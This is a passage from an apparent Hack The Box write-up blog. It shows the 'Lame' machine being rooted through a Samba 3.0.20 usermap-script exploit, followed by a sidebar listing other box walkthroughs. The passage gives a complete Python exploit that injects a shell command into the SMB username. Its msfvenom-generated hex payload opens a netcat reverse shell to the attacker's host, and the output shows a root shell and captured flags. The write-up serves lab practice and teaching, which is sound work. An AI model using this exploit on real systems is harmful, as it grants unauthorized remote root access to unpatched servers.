20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


$ cat exploit.py
#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian

from smb import *
from smb.SMBConnection import *

# msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.16.11 LPORT=1337 -f python

buf = b""
buf += b"\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f"
buf += b"\x6d\x69\x66\x75\x63\x3b\x20\x6e\x63\x20\x31\x30"
buf += b"\x2e\x31\x30\x2e\x31\x36\x2e\x31\x31\x20\x31\x33"
buf += b"\x33\x37\x20\x30\x3c\x2f\x74\x6d\x70\x2f\x6d\x69"
buf += b"\x66\x75\x63\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73"
buf += b"\x68\x20\x3e\x2f\x74\x6d\x70\x2f\x6d\x69\x66\x75"
buf += b"\x63\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d\x20\x2f"
buf += b"\x74\x6d\x70\x2f\x6d\x69\x66\x75\x63"


userID = "/=` nohup " + buf.decode('utf-8') + "`"
password = 'password'
victim_ip = '10.10.10.3'

conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)

------------------------------------------
$ python3 exploit.py

------------------------------------------

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 10.10.10.3 48005
whoami
root
cat /root/root.txt
03ce.....b6ed

user flag - makis

1
2
3
4
5
6


root@lame:/home# cd /home/makis/
root@lame:/home/makis# ls
user.txt
root@lame:/home/makis# cat user.txt
d336.....2192
root@lame:/home/makis#

sl0wguy's Blog

HTB | Monitored

Users

Enumeration

nmap TCP

Foothold

SNMP

Nagios XI - Cannot login

SQL Injection

Stable Shell

SSH to nagios

Privilege Escalation

CVE-2024-24402

HTB | Updown

Enumeration

nmap

Foothold

siteisup.htb - Port 80

Subdomain dev.siteisup.htb

dev/.git - git-dumper

checker.php

File Upload - PHP RCE

Reverse Shell - proc_open

www-data -> developer

SUID binary - Python Injection

developer -> root

easy_install as root

HTB | Builder

Users

Enumeration

nmap

Foothold

Jenkins 2.441 - port 8080

Local File Inclusion - CVE-2024-23897

Jenkins Reverse Shell

Privilege Escalation

Root - SSH Private Key

SSH as root

HTB | Linkvortex

Users

Enumeration

nmap

Foothold

linkvortex.htb - Ghost 5.58

Subdomain Enumeration - dev

.git

git-dumper - Password Found

Ghost Dashboard

Ghost Arbitrary File Read Exploit

SSH to bob

Privilege Escalation

Enumeration

clean_symlink.sh as root

Root shell

HTB | Escape

Users

Enumeration

nmap

Foothold

SMB Share ENumeration - guest

Public Share - “SQL Server Procedures.pdf”

Credentials for MSSQL

MSSQL : xp_dirtree and responder

Hashcat : sql_svc password

ERRORLOG.BAK : Ryan.Cooper password

Privilege Escalation : ESC1 Template

Enumeration : certipy find

Requesting a Malicious Certificate

Getting a TGT as Administrator

Gaining Administrator Shell (psexec)

HTB | Support

Users

System Info

Enumeration

nmap

Foothold

Dumping Users using guest account

SMB Share : support-tools

UserInfo.exe.zip : .NET executable

Rusthound / Bloodhound : “support” account